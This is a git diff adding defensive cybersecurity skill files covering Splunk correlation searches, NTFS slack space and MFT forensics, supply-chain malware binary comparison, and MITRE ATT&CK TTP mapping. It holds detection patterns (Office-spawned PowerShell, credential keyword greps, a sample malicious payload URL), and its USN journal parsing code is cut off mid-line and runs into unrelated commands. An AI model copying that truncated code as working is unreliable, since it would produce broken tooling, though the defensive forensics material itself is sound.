+ +```spl +| Correlation search: PowerShell spawned by Office applications +index=sysmon EventCode=1 + Image="*\\powershell.exe" + (ParentImage="*\\winword.exe" OR ParentImage="*\\excel.exe" + OR ParentImage="*\\outlook.exe") +| eval severity="high" +| eval mitre_technique="T1059.001" +| collect index=notable_events +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **SPL (Search Processing Language)** | Splunk's query language for searching, filtering, transforming, and visualizing machine data | +| **CIM (Common Information Model)** | Splunk's field normalization standard that maps vendor-specific field names to common names for cross-source queries | +| **Notable Event** | An event in Splunk Enterprise Security flagged for analyst review based on a correlation search match | +| **Data Model** | Structured representation of indexed data in Splunk enabling accelerated searches and pivot-based analysis | +| **Sourcetype** | Classification label in Splunk that defines the format and parsing rules for a specific log type | +| **Correlation Search** | Scheduled Splunk search that runs continuously and generates notable events when conditions are met | +| **Timechart** | SPL command that creates time-series visualizations for identifying patterns, anomalies, and trends | + +## Tools & Systems + +- **Splunk Enterprise Security (ES)**: Premium SIEM application providing correlation searches, risk-based alerting, and investigation workbench +- **Splunk SOAR**: Orchestration platform integrated with Splunk ES for automated response playbooks +- **Sysmon**: Microsoft system monitoring tool providing detailed process, network, and file change telemetry ingested into Splunk +- **Splunk Attack Analyzer**: Automated threat analysis that detonates suspicious files and URLs, feeding results into Splunk +- **BOSS of the SOC (BOTS)**: SANS/Splunk training dataset for practicing incident investigation SPL queries + +## Common Scenarios + +### Scenario: Investigating Credential Stuffing Leading to Account Takeover + +**Context**: Security operations receives an alert for multiple successful logins to a single account from geographically dispersed IP addresses within a 30-minute window. + +**Approach**: +1. Query Event ID 4624 for the affected account to map all login sources and times +2. Correlate login IPs against threat intelligence feeds using a Splunk lookup table +3. Check proxy logs for suspicious activity from the authenticated sessions +4. Search for lateral movement from the compromised account (Event ID 4624 Type 3 to other hosts) +5. Build a timeline showing credential stuffing attempts, successful login, and post-compromise activity +6. Create a correlation search to detect similar patterns on other accounts + +**Pitfalls**: +- Searching only the last 24 hours when the credential stuffing may have occurred over weeks +- Not checking for VPN logs that may show the same account authenticating from impossible travel distances +- Failing to normalize timestamps across log sources in different time zones + +## Output Format + +``` +SPLUNK INVESTIGATION REPORT +============================ +Incident: INC-2025-1547 +Analyst: [Name] +Investigation Period: 2025-11-14 00:00 UTC - 2025-11-16 00:00 UTC + +SEARCH SCOPE +Indexes: windows, sysmon, proxy, firewall, dns +Hosts: WKSTN-042, SRV-FILE01 +Users: jsmith, svc-backup +Source IPs: 10.1.5.42, 10.1.10.15 + +KEY FINDINGS +1. [timestamp] - Initial compromise via phishing (Sysmon Event 1) +2. [timestamp] - C2 established (proxy logs, beacon pattern detected) +3. [timestamp] - Credential theft (Sysmon Event 10, LSASS access) +4. [timestamp] - Lateral movement to SRV-FILE01 (Event 4624 Type 3) +5. [timestamp] - Data staging and exfiltration (proxy bytes_out anomaly) + +SPL QUERIES USED +[numbered list of key queries with descriptions] + +DETECTION GAPS IDENTIFIED +- No Sysmon deployed on SRV-FILE01 (blind spot) +- Proxy logs missing SSL inspection for C2 domain +- PowerShell ScriptBlock logging not enabled + +RECOMMENDED DETECTIONS +1. Correlation search for Office-spawned PowerShell +2. Threshold alert for LSASS access patterns +3. Behavioral rule for beacon-interval network traffic +``` diff --git a/skills/analyzing-slack-space-and-file-system-artifacts/SKILL.md b/skills/analyzing-slack-space-and-file-system-artifacts/SKILL.md new file mode 100644 index 00000000..3c86d00b --- /dev/null +++ b/skills/analyzing-slack-space-and-file-system-artifacts/SKILL.md @@ -0,0 +1,382 @@ +--- +name: analyzing-slack-space-and-file-system-artifacts +description: Examine file system slack space, MFT entries, USN journal, and alternate data streams to recover hidden data and reconstruct file activity on NTFS volumes. +domain: cybersecurity +subdomain: digital-forensics +tags: [forensics, slack-space, ntfs, mft, usn-journal, alternate-data-streams, file-system-analysis] +version: "1.0" +author: mahipal +license: MIT +--- + +# Analyzing Slack Space and File System Artifacts + +## When to Use +- When searching for hidden or residual data in file system slack space +- For analyzing NTFS Master File Table (MFT) entries for deleted file metadata +- When reconstructing file operations from the USN Change Journal +- For detecting Alternate Data Streams (ADS) used to hide data or malware +- During deep forensic analysis requiring examination beyond standard file recovery + +## Prerequisites +- Forensic disk image with NTFS file system +- The Sleuth Kit (TSK) tools: istat, icat, fls, blkls, blkstat +- MFTECmd (Eric Zimmerman) for MFT parsing +- MFTExplorer for interactive MFT analysis +- Understanding of NTFS structures (MFT, $UsnJrnl, $LogFile, ADS) +- Python with analyzeMFT or mft library for automated parsing + +## Workflow + +### Step 1: Identify and Extract NTFS File System Artifacts + +```bash +# Determine partition layout +mmls /cases/case-2024-001/images/evidence.dd + +# Extract key NTFS system files +# $MFT - Master File Table +icat -o 2048 /cases/case-2024-001/images/evidence.dd 0 > /cases/case-2024-001/ntfs/MFT + +# $UsnJrnl:$J - USN Change Journal +icat -o 2048 /cases/case-2024-001/images/evidence.dd 62-128 > /cases/case-2024-001/ntfs/UsnJrnl_J + +# $LogFile - Transaction log +icat -o 2048 /cases/case-2024-001/images/evidence.dd 2 > /cases/case-2024-001/ntfs/LogFile + +# Extract all slack space from the volume +blkls -s -o 2048 /cases/case-2024-001/images/evidence.dd > /cases/case-2024-001/ntfs/slack_space.raw + +# Get file system information +fsstat -o 2048 /cases/case-2024-001/images/evidence.dd | tee /cases/case-2024-001/ntfs/fs_info.txt +``` + +### Step 2: Analyze the Master File Table (MFT) + +```bash +# Parse MFT with MFTECmd (Eric Zimmerman) +MFTECmd.exe -f "C:\cases\ntfs\MFT" --csv "C:\cases\analysis\" --csvf mft_analysis.csv + +# Parse with analyzeMFT (Python) +pip install analyzeMFT + +analyzeMFT.py -f /cases/case-2024-001/ntfs/MFT \ + -o /cases/case-2024-001/analysis/mft_analysis.csv \ + -c + +# Custom MFT analysis with Python +python3 << 'PYEOF' +from mft import PyMft +import csv + +mft = PyMft(open('/cases/case-2024-001/ntfs/MFT', 'rb').read()) + +deleted_files = [] +suspicious_files = [] + +for entry in mft.entries(): + if entry is None: + continue + + filename = entry.get_filename() + if filename is None: + continue + + is_deleted = not entry.is_active() + is_directory = entry.is_directory() + created = entry.get_created_timestamp() + modified = entry.get_modified_timestamp() + mft_modified = entry.get_mft_modified_timestamp() + size = entry.get_file_size() + + # Flag deleted files for recovery + if is_deleted and not is_directory and size > 0: + deleted_files.append({ + 'filename': filename, + 'size': size, + 'created': str(created), + 'modified': str(modified), + 'entry_number': entry.entry_number + }) + + # Detect timestomping (MFT modified time != $SI modified time) + si_modified = entry.get_si_modified_timestamp() + fn_modified = entry.get_fn_modified_timestamp() + if si_modified and fn_modified: + if abs((si_modified - fn_modified).total_seconds()) > 86400: # >1 day difference + suspicious_files.append({ + 'filename': filename, + 'si_modified': str(si_modified), + 'fn_modified': str(fn_modified), + 'delta': str(si_modified - fn_modified) + }) + +print(f"=== DELETED FILES (recoverable metadata) ===") +print(f"Total: {len(deleted_files)}") +for f in deleted_files[:20]: + print(f" [{f['modified']}] {f['filename']} ({f['size']} bytes)") + +print(f"\n=== POTENTIAL TIMESTOMPING ===") +print(f"Total suspicious: {len(suspicious_files)}") +for f in suspicious_files[:10]: + print(f" {f['filename']}: $SI={f['si_modified']}, $FN={f['fn_modified']} (delta: {f['delta']})") +PYEOF +``` + +### Step 3: Analyze Slack Space for Hidden Data + +```bash +# Search slack space for strings +strings -a /cases/case-2024-001/ntfs/slack_space.raw > /cases/case-2024-001/analysis/slack_strings.txt + +# Search for specific patterns in slack space +grep -iab "password\|secret\|confidential\|credit.card\|ssn" \ + /cases/case-2024-001/ntfs/slack_space.raw > /cases/case-2024-001/analysis/slack_keywords.txt + +# Analyze individual file slack +python3 << 'PYEOF' +import struct + +# File slack consists of: +# 1. RAM slack: bytes between file end and next sector boundary (filled with RAM content or zeros) +# 2. Drive slack: remaining sectors in the cluster after the last file sector + +# Analyze slack for specific MFT entries +# Using Sleuth Kit to get file slack for a specific file +import subprocess + +# Get file details +result = subprocess.run( + ['istat', '-o', '2048', '/cases/case-2024-001/images/evidence.dd', '14523'], + capture_output=True, text=True +) +print(result.stdout) + +# The output shows data runs - the last cluster may contain slack data +# Calculate slack size: (allocated_size - file_size) bytes +PYEOF + +# Search for file signatures in slack space (embedded files) +foremost -t jpg,pdf,zip -i /cases/case-2024-001/ntfs/slack_space.raw \ + -o /cases/case-2024-001/carved/slack_carved/ + +# Use bulk_extractor to find structured data in slack +bulk_extractor -o /cases/case-2024-001/analysis/bulk_extract/ \ + /cases/case-2024-001/ntfs/slack_space.raw +``` + +### Step 4: Parse the USN Change Journal + +```bash +# Parse USN Journal with MFTECmd +MFTECmd.exe -f "C:\cases\ntfs\UsnJrnl_J" --csv "C:\cases\analysis\" --csvf usn_journal.csv + +# Python USN Journal parsing +pip install pyusn + +python3 << 'PYEOF' +import struct +import csv +from datetime import datetime, timedelta + +def parse_usn_record(data, offset): + """Parse a single USN_RECORD_V2.""" + if offset + 8 > len(data): + return None, offset + + record_len = struct.unpack_from(' 65536 or offset + record_len > len(data): + return None, offset + 8 + + major_ver = struct.unpack_from('/dev/null | grep -i "ads\|zone\|stream" + +# Using Sleuth Kit to find ADS +fls -r -o 2048 /cases/case-2024-001/images/evidence.dd | grep ":" | \ + tee /cases/case-2024-001/analysis/ads_list.txt + +# Extract specific ADS content +# Format: icat image inode:ads_name +icat -o 2048 /cases/case-2024-001/images/evidence.dd 14523:hidden_stream \ + > /cases/case-2024-001/analysis/extracted_ads.bin + +# Check Zone.Identifier streams (download origin tracking) +fls -r -o 2048 /cases/case-2024-001/images/evidence.dd | grep "Zone.Identifier" | \ + while read line; do + inode=$(echo "$line" | awk '{print $2}' | tr -d ':') + echo "=== $line ===" + icat -o 2048 /cases/case-2024-001/images/evidence.dd "${inode}:Zone.Identifier" 2>/dev/null + echo "" + done > /cases/case-2024-001/analysis/zone_identifiers.txt + +# Zone.Identifier content reveals: +# [ZoneTransfer] +# ZoneId=3 (3 = Internet, indicating file was downloaded) +# ReferrerUrl=https://malicious-site.com/payload.exe +# HostUrl=https://cdn.malicious-site.com/payload.exe +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| File slack | Unused space between file end and cluster boundary containing residual data | +| RAM slack | Portion of slack from file end to sector boundary (historically filled with RAM) | +| MFT ($MFT) | Master File Table - NTFS metadata database with entries for every file | +| USN Journal ($UsnJrnl) | Change journal recording all file/directory modifications on NTFS | +| Alternate Data Streams | NTFS feature allowing multiple data streams per file (hidden storage) | +| $STANDARD_INFORMATION | MFT attribute with timestamps modifiable by user-mode applications | +| $FILE_NAME | MFT attribute with timestamps only modifiable by the kernel | +| Timestomping | Anti-forensic technique modifying file timestamps to avoid detection | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| MFTECmd | Eric Zimmerman MFT and USN Journal parser with CSV output | +| MFTExplorer | Interactive GUI tool for MFT analysis | +| analyzeMFT | Python MFT parser with CSV/JSON output | +| The Sleuth Kit | File system forensics toolkit (fls, icat, blkls, istat) | +| bulk_extractor | Feature extraction from raw data including slack space | +| NTFS Log Tracker | Tool for parsing $LogFile transaction records | +| streams.exe | Sysinternals tool for listing NTFS Alternate Data Streams | +| Plaso | Super-timeline tool parsing MFT and USN Journal | + +## Common Scenarios + +**Scenario 1: Anti-Forensics Detection via Timestomping** +Compare $STANDARD_INFORMATION timestamps with $FILE_NAME timestamps in MFT entries, flag files where $SI timestamps predate $FN timestamps (impossible in normal operation), identify timestomped files as evidence of deliberate manipulation, correlate with other timeline evidence. + +**Scenario 2: Hidden Data in Alternate Data Streams** +Scan for ADS attached to files beyond the standard Zone.Identifier, extract ADS content for analysis, check for hidden executables or documents stored in ADS, correlate ADS creation with user activity timeline, document findings for evidence. + +**Scenario 3: Deleted File Reconstruction from MFT** +Parse MFT for inactive (deleted) entries, extract filenames, sizes, and timestamps of deleted files, recover file content using icat if data clusters are not overwritten, build list of deleted evidence files, correlate with USN Journal delete events. + +**Scenario 4: File Activity Reconstruction from USN Journal** +Parse the USN Change Journal for the investigation period, identify file creation, modification, rename, and deletion events, reconstruct the sequence of file operations, detect evidence of data staging (create, copy, compress, delete pattern), identify anti-forensic file wiping. + +## Output Format + +``` +File System Artifact Analysis: + Volume: NTFS (Partition 2, 465 GB) + Cluster Size: 4096 bytes + + MFT Analysis: + Total Entries: 456,789 + Active Files: 234,567 + Deleted Entries: 12,345 (8,901 with recoverable metadata) + Timestomped Files: 23 (SI/FN mismatch detected) + + USN Journal: + Records Parsed: 2,345,678 + Date Range: 2024-01-01 to 2024-01-20 + File Creations: 45,678 + File Deletions: 23,456 + File Renames: 12,345 + + Alternate Data Streams: + Total ADS Found: 1,234 + Zone.Identifier: 890 (downloaded files) + Custom/Suspicious ADS: 5 (hidden data detected) + + Slack Space: + Total Slack: 12.3 GB + Keyword Hits: 45 (passwords, credit cards) + Carved Files: 23 from slack space + + Suspicious Findings: + - 23 files with timestomped timestamps + - 5 files with hidden ADS containing data + - USN shows mass deletion on 2024-01-18 (anti-forensics) + - Slack space contains residual email fragments + + Reports: /cases/case-2024-001/analysis/ +``` diff --git a/skills/analyzing-supply-chain-malware-artifacts/SKILL.md b/skills/analyzing-supply-chain-malware-artifacts/SKILL.md new file mode 100644 index 00000000..9a06b9b5 --- /dev/null +++ b/skills/analyzing-supply-chain-malware-artifacts/SKILL.md @@ -0,0 +1,133 @@ +--- +name: analyzing-supply-chain-malware-artifacts +description: Investigate supply chain attack artifacts including trojanized software updates, compromised build pipelines, and sideloaded dependencies to identify intrusion vectors and scope of compromise. +domain: cybersecurity +subdomain: malware-analysis +tags: [supply-chain, malware-analysis, trojanized-software, solarwinds, 3cx, dependency-confusion, software-integrity] +version: "1.0" +author: mahipal +license: MIT +--- +# Analyzing Supply Chain Malware Artifacts + +## Overview + +Supply chain attacks compromise legitimate software distribution channels to deliver malware through trusted update mechanisms. Notable examples include SolarWinds SUNBURST (2020, affecting 18,000+ customers), 3CX SmoothOperator (2023, a cascading supply chain attack originating from Trading Technologies), and numerous npm/PyPI package poisoning campaigns. Analysis involves comparing trojanized binaries against legitimate versions, identifying injected code in build artifacts, examining code signing anomalies, and tracing the infection chain from initial compromise through payload delivery. As of 2025, supply chain attacks account for 30% of all breaches, a 100% increase from prior years. + +## Prerequisites + +- Python 3.9+ with `pefile`, `ssdeep`, `hashlib` +- Binary diff tools (BinDiff, Diaphora) +- Code signing verification tools (sigcheck, codesign) +- Software composition analysis (SCA) tools +- Access to legitimate software versions for comparison +- Package repository monitoring (npm, PyPI, NuGet) + +## Practical Steps + +### Step 1: Binary Comparison Analysis + +```python +#!/usr/bin/env python3 +"""Compare trojanized binary against legitimate version.""" +import hashlib +import pefile +import sys +import json + + +def compare_pe_files(legitimate_path, suspect_path): + """Compare PE file structures between legitimate and suspect versions.""" + legit_pe = pefile.PE(legitimate_path) + suspect_pe = pefile.PE(suspect_path) + + report = {"differences": [], "suspicious_sections": [], "import_changes": []} + + # Compare sections + legit_sections = {s.Name.rstrip(b'\x00').decode(): { + "size": s.SizeOfRawData, + "entropy": s.get_entropy(), + "characteristics": s.Characteristics, + } for s in legit_pe.sections} + + suspect_sections = {s.Name.rstrip(b'\x00').decode(): { + "size": s.SizeOfRawData, + "entropy": s.get_entropy(), + "characteristics": s.Characteristics, + } for s in suspect_pe.sections} + + # Find new or modified sections + for name, props in suspect_sections.items(): + if name not in legit_sections: + report["suspicious_sections"].append({ + "name": name, "reason": "New section not in legitimate version", + "size": props["size"], "entropy": round(props["entropy"], 2), + }) + elif abs(props["size"] - legit_sections[name]["size"]) > 1024: + report["suspicious_sections"].append({ + "name": name, "reason": "Section size significantly changed", + "legit_size": legit_sections[name]["size"], + "suspect_size": props["size"], + }) + + # Compare imports + legit_imports = set() + if hasattr(legit_pe, 'DIRECTORY_ENTRY_IMPORT'): + for entry in legit_pe.DIRECTORY_ENTRY_IMPORT: + for imp in entry.imports: + if imp.name: + legit_imports.add(f"{entry.dll.decode()}!{imp.name.decode()}") + + suspect_imports = set() + if hasattr(suspect_pe, 'DIRECTORY_ENTRY_IMPORT'): + for entry in suspect_pe.DIRECTORY_ENTRY_IMPORT: + for imp in entry.imports: + if imp.name: + suspect_imports.add(f"{entry.dll.decode()}!{imp.name.decode()}") + + new_imports = suspect_imports - legit_imports + if new_imports: + report["import_changes"] = list(new_imports) + + # Check code signing + report["legit_signed"] = bool(legit_pe.OPTIONAL_HEADER.DATA_DIRECTORY[4].Size) + report["suspect_signed"] = bool(suspect_pe.OPTIONAL_HEADER.DATA_DIRECTORY[4].Size) + + return report + + +def hash_file(filepath): + """Calculate multiple hashes for a file.""" + hashes = {} + with open(filepath, 'rb') as f: + data = f.read() + for algo in ['md5', 'sha1', 'sha256']: + h = hashlib.new(algo) + h.update(data) + hashes[algo] = h.hexdigest() + return hashes + + +if __name__ == "__main__": + if len(sys.argv) < 3: + print(f"Usage: {sys.argv[0]} ") + sys.exit(1) + report = compare_pe_files(sys.argv[1], sys.argv[2]) + print(json.dumps(report, indent=2)) +``` + +## Validation Criteria + +- Trojanized components identified through binary diffing +- Injected code isolated and analyzed separately +- Code signing anomalies documented +- Infection timeline reconstructed from build artifacts +- Downstream impact scope assessed across affected systems +- IOCs extracted for detection and blocking + +## References + +- [ReversingLabs - 3CX Supply Chain Analysis](https://www.reversinglabs.com/blog/what-went-wrong-with-the-3cx-software-supply-chain-attack-and-how-it-could-have-been-prevented) +- [Fortinet - SolarWinds Supply Chain Attack](https://www.fortinet.com/resources/cyberglossary/solarwinds-cyber-attack) +- [Picus - 3CX SmoothOperator Analysis](https://www.picussecurity.com/resource/blog/smoothoperator-analysis-of-3cxdesktopapp-supply-chain-attack) +- [MITRE ATT&CK T1195 - Supply Chain Compromise](https://attack.mitre.org/techniques/T1195/) diff --git a/skills/analyzing-supply-chain-malware-artifacts/assets/template.md b/skills/analyzing-supply-chain-malware-artifacts/assets/template.md new file mode 100644 index 00000000..b83d9a78 --- /dev/null +++ b/skills/analyzing-supply-chain-malware-artifacts/assets/template.md @@ -0,0 +1,25 @@ +# Analysis Report Template - analyzing-supply-chain-malware-artifacts + +## Sample Information +| Field | Value | +|-------|-------| +| SHA-256 | | +| File Type | | +| Analysis Date | | +| Analyst | | +| Classification | TLP:AMBER | + +## Findings +| Finding | Severity | Details | +|---------|----------|---------| +| | | | + +## IOCs Extracted +| Type | Value | Context | +|------|-------|---------| +| | | | + +## Recommendations +1. +2. +3. diff --git a/skills/analyzing-supply-chain-malware-artifacts/references/standards.md b/skills/analyzing-supply-chain-malware-artifacts/references/standards.md new file mode 100644 index 00000000..9f52eede --- /dev/null +++ b/skills/analyzing-supply-chain-malware-artifacts/references/standards.md @@ -0,0 +1,9 @@ +# Standards Reference - analyzing-supply-chain-malware-artifacts + +## Applicable Standards +- MITRE ATT&CK Framework +- NIST SP 800-83 Guide to Malware Incident Prevention +- NIST SP 800-86 Guide to Integrating Forensic Techniques + +## Related MITRE ATT&CK Techniques +See SKILL.md for specific technique mappings. diff --git a/skills/analyzing-supply-chain-malware-artifacts/references/workflows.md b/skills/analyzing-supply-chain-malware-artifacts/references/workflows.md new file mode 100644 index 00000000..acf86d04 --- /dev/null +++ b/skills/analyzing-supply-chain-malware-artifacts/references/workflows.md @@ -0,0 +1,11 @@ +# Analysis Workflows - analyzing-supply-chain-malware-artifacts + +## Primary Workflow +``` +[Sample Collection] --> [Static Analysis] --> [Dynamic Analysis] --> [IOC Extraction] + | + v + [Report Generation] +``` + +See SKILL.md for detailed step-by-step procedures. diff --git a/skills/analyzing-threat-actor-ttps-with-mitre-attack/SKILL.md b/skills/analyzing-threat-actor-ttps-with-mitre-attack/SKILL.md new file mode 100644 index 00000000..eb75895a --- /dev/null +++ b/skills/analyzing-threat-actor-ttps-with-mitre-attack/SKILL.md @@ -0,0 +1,255 @@ +--- +name: None +description: MITRE ATT&CK is a globally-accessible knowledge base of adversary tactics, techniques, and procedures (TTPs) based on real-world observations. This skill covers systematically mapping threat actor beh +domain: cybersecurity +subdomain: threat-intelligence +tags: [threat-intelligence, cti, ioc, mitre-attack, stix, ttp-analysis, threat-actors] +version: "1.0" +author: mahipal +license: MIT +--- +# Analyzing Threat Actor TTPs with MITRE ATT&CK + +## Overview + +MITRE ATT&CK is a globally-accessible knowledge base of adversary tactics, techniques, and procedures (TTPs) based on real-world observations. This skill covers systematically mapping threat actor behavior to the ATT&CK framework, building technique coverage heatmaps using the ATT&CK Navigator, identifying detection gaps, and producing actionable intelligence reports that link observed IOCs to specific adversary techniques across the Enterprise, Mobile, and ICS matrices. + +## Prerequisites + +- Python 3.9+ with `mitreattack-python`, `attackcti`, `stix2` libraries +- MITRE ATT&CK Navigator (web-based or local deployment) +- Understanding of ATT&CK matrix structure: Tactics, Techniques, Sub-techniques +- Access to threat intelligence reports or MISP/OpenCTI for threat actor data +- Familiarity with STIX 2.1 Attack Pattern objects + +## Key Concepts + +### ATT&CK Matrix Structure + +The ATT&CK Enterprise matrix organizes adversary behavior into 14 Tactics (the "why") containing Techniques (the "how") and Sub-techniques (specific implementations). Each technique has associated data sources, detections, mitigations, and real-world procedure examples from observed threat groups. + +### Threat Group Profiles + +ATT&CK catalogs over 140 threat groups (e.g., APT28, APT29, Lazarus Group, FIN7) with documented technique usage. Each group profile includes aliases, targeted sectors, associated campaigns, software used, and technique mappings with procedure-level detail. + +### ATT&CK Navigator + +The ATT&CK Navigator is a web-based tool for creating custom ATT&CK matrix visualizations. Analysts create layers (JSON files) that annotate techniques with scores, colors, comments, and metadata to visualize threat actor coverage, detection capabilities, or risk assessments. + +## Practical Steps + +### Step 1: Query ATT&CK Data Programmatically + +```python +from attackcti import attack_client +import json + +# Initialize ATT&CK client (queries MITRE TAXII server) +lift = attack_client() + +# Get all Enterprise techniques +enterprise_techniques = lift.get_enterprise_techniques() +print(f"Total Enterprise techniques: {len(enterprise_techniques)}") + +# Get all threat groups +groups = lift.get_groups() +print(f"Total threat groups: {len(groups)}") + +# Get specific group by name +apt29 = [g for g in groups if 'APT29' in g.get('name', '')] +if apt29: + group = apt29[0] + print(f"Group: {group['name']}") + print(f"Aliases: {group.get('aliases', [])}") + print(f"Description: {group.get('description', '')[:200]}") +``` + +### Step 2: Map Threat Actor to ATT&CK Techniques + +```python +from attackcti import attack_client + +lift = attack_client() + +# Get techniques used by APT29 +apt29_techniques = lift.get_techniques_used_by_group("G0016") # APT29 group ID + +technique_map = {} +for entry in apt29_techniques: + tech_id = entry.get("external_references", [{}])[0].get("external_id", "") + tech_name = entry.get("name", "") + description = entry.get("description", "") + tactic_refs = [ + phase.get("phase_name", "") + for phase in entry.get("kill_chain_phases", []) + ] + + technique_map[tech_id] = { + "name": tech_name, + "tactics": tactic_refs, + "description": description[:300], + } + +print(f"\nAPT29 uses {len(technique_map)} techniques:") +for tid, info in sorted(technique_map.items()): + print(f" {tid}: {info['name']} [{', '.join(info['tactics'])}]") +``` + +### Step 3: Generate ATT&CK Navigator Layer + +```python +import json + +def create_navigator_layer(group_name, technique_map, description=""): + """Generate ATT&CK Navigator layer JSON for a threat group.""" + techniques_list = [] + for tech_id, info in technique_map.items(): + techniques_list.append({ + "techniqueID": tech_id, + "tactic": info["tactics"][0] if info["tactics"] else "", + "color": "#ff6666", # Red for observed techniques + "comment": info["description"][:200], + "enabled": True, + "score": 100, + "metadata": [ + {"name": "group", "value": group_name}, + ], + }) + + layer = { + "name": f"{group_name} TTP Coverage", + "versions": { + "attack": "16.1", + "navigator": "5.1.0", + "layer": "4.5", + }, + "domain": "enterprise-attack", + "description": description or f"Techniques attributed to {group_name}", + "filters": {"platforms": ["Windows", "Linux", "macOS", "Cloud"]}, + "sorting": 0, + "layout": { + "layout": "side", + "aggregateFunction": "average", + "showID": True, + "showName": True, + "showAggregateScores": False, + "countUnscored": False, + }, + "hideDisabled": False, + "techniques": techniques_list, + "gradient": { + "colors": ["#ffffff", "#ff6666"], + "minValue": 0, + "maxValue": 100, + }, + "legendItems": [ + {"label": "Observed technique", "color": "#ff6666"}, + {"label": "Not observed", "color": "#ffffff"}, + ], + "showTacticRowBackground": True, + "tacticRowBackground": "#dddddd", + "selectTechniquesAcrossTactics": True, + "selectSubtechniquesWithParent": False, + "selectVisibleTechniques": False, + } + + return layer + + +# Generate and save layer +layer = create_navigator_layer("APT29", technique_map, "APT29 (Cozy Bear) TTP analysis") +with open("apt29_navigator_layer.json", "w") as f: + json.dump(layer, f, indent=2) +print("[+] Navigator layer saved to apt29_navigator_layer.json") +``` + +### Step 4: Identify Detection Gaps + +```python +from attackcti import attack_client + +lift = attack_client() + +# Get all techniques with data sources +all_techniques = lift.get_enterprise_techniques() + +# Build data source coverage map +data_source_coverage = {} +for tech in all_techniques: + tech_id = tech.get("external_references", [{}])[0].get("external_id", "") + data_sources = tech.get("x_mitre_data_sources", []) + + for ds in data_sources: + if ds not in data_source_coverage: + data_source_coverage[ds] = [] + data_source_coverage[ds].append(tech_id) + +# Compare threat actor techniques against available detections +detected_techniques = {"T1059", "T1071", "T1566"} # Example: techniques you can detect +actor_techniques = set(technique_map.keys()) + +covered = actor_techniques.intersection(detected_techniques) +gaps = actor_techniques - detected_techniques + +print(f"\n=== Detection Gap Analysis for APT29 ===") +print(f"Actor techniques: {len(actor_techniques)}") +print(f"Detected: {len(covered)} ({len(covered)/len(actor_techniques)*100:.0f}%)") +print(f"Gaps: {len(gaps)} ({len(gaps)/len(actor_techniques)*100:.0f}%)") +print(f"\nUndetected techniques:") +for tech_id in sorted(gaps): + if tech_id in technique_map: + print(f" {tech_id}: {technique_map[tech_id]['name']}") +``` + +### Step 5: Cross-Group Technique Comparison + +```python +from attackcti import attack_client + +lift = attack_client() + +# Compare techniques across multiple groups +groups_to_compare = { + "G0016": "APT29", + "G0007": "APT28", + "G0032": "Lazarus Group", +} + +group_techniques = {} +for gid, gname in groups_to_compare.items(): + techs = lift.get_techniques_used_by_group(gid) + tech_ids = set() + for t in techs: + tid = t.get("external_references", [{}])[0].get("external_id", "") + if tid: + tech_ids.add(tid) + group_techniques[gname] = tech_ids + +# Find common and unique techniques +all_groups = list(group_techniques.keys()) +common_to_all = set.intersection(*group_techniques.values()) +print(f"\nTechniques common to all {len(all_groups)} groups: {len(common_to_all)}") +for tid in sorted(common_to_all): + print(f" {tid}") + +for gname, techs in group_techniques.items(): + unique = techs - set.union(*[t for n, t in group_techniques.items() if n != gname]) + print(f"\nUnique to {gname}: {len(unique)} techniques") +``` + +## Validation Criteria + +- ATT&CK data successfully queried via TAXII server or local copy +- Threat actor mapped to specific techniques with procedure examples +- ATT&CK Navigator layer JSON is valid and renders correctly +- Detection gap analysis identifies unmonitored techniques +- Cross-group comparison reveals shared and unique TTPs +- Output is actionable for detection engineering prioritization + +## References + +- [MITRE ATT&CK](https://attack.mitre.org/) +- [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) +- [attackcti Python Library](https://github.com/OTRF/ATTACK-Python-Client) +- [ATT&CK STIX Data](https://github.com/mitre/cti) +- [ATT&CK Groups](https://attack.mitre.org/groups/) diff --git a/skills/analyzing-threat-actor-ttps-with-mitre-attack/assets/template.md b/skills/analyzing-threat-actor-ttps-with-mitre-attack/assets/template.md new file mode 100644 index 00000000..004387b8 --- /dev/null +++ b/skills/analyzing-threat-actor-ttps-with-mitre-attack/assets/template.md @@ -0,0 +1,87 @@ +# Threat Actor TTP Analysis Report Template + +## Report Metadata +| Field | Value | +|-------|-------| +| Report ID | TTP-YYYY-NNNN | +| Date | YYYY-MM-DD | +| Threat Actor | [Group Name] | +| ATT&CK ID | G[NNNN] | +| Classification | TLP:AMBER | +| Analyst | [Name] | + +## Threat Actor Profile + +| Attribute | Detail | +|-----------|--------| +| Name | | +| Aliases | | +| Suspected Origin | | +| Motivation | Espionage / Financial / Disruption | +| Active Since | | +| Targeted Sectors | | +| Targeted Regions | | +| Associated Malware | | + +## TTP Summary + +| Tactic | Technique Count | Key Techniques | +|--------|----------------|----------------| +| Reconnaissance | | | +| Resource Development | | | +| Initial Access | | | +| Execution | | | +| Persistence | | | +| Privilege Escalation | | | +| Defense Evasion | | | +| Credential Access | | | +| Discovery | | | +| Lateral Movement | | | +| Collection | | | +| Command and Control | | | +| Exfiltration | | | +| Impact | | | + +## Detailed Technique Mapping + +### [Tactic Name] + +| ATT&CK ID | Technique | Sub-technique | Procedure Example | +|-----------|-----------|---------------|-------------------| +| T1566.001 | Phishing | Spearphishing Attachment | Actor sends macro-enabled documents | +| | | | | + +## Detection Coverage + +| Status | Count | Percentage | +|--------|-------|-----------| +| Detected | | % | +| Partial Detection | | % | +| No Detection (Gap) | | % | + +## Detection Gaps (Priority Order) + +| Priority | ATT&CK ID | Technique | Required Data Source | Effort | +|----------|-----------|-----------|---------------------|--------| +| 1 | | | | Low/Med/High | +| 2 | | | | | + +## Recommended Data Sources + +| Data Source | Techniques Covered | Current Status | +|------------|-------------------|----------------| +| Process Creation | X techniques | Collecting/Not Collecting | +| Network Traffic Flow | X techniques | | +| File Monitoring | X techniques | | + +## ATT&CK Navigator Layer + +Layer file: `[group]_navigator_layer.json` + +Load at: https://mitre-attack.github.io/attack-navigator/ + +## Recommendations + +1. **Immediate**: Deploy detections for [top 3 gap techniques] +2. **Short-term**: Enable [data source] collection to cover N techniques +3. **Long-term**: Build behavioral analytics for [tactic] coverage diff --git a/skills/analyzing-threat-actor-ttps-with-mitre-attack/references/standards.md b/skills/analyzing-threat-actor-ttps-with-mitre-attack/references/standards.md new file mode 100644 index 00000000..07bc0c72 --- /dev/null +++ b/skills/analyzing-threat-actor-ttps-with-mitre-attack/references/standards.md @@ -0,0 +1,89 @@ +# Standards and Frameworks Reference + +## MITRE ATT&CK Framework + +### Matrix Structure +- **Enterprise ATT&CK**: Windows, macOS, Linux, Cloud 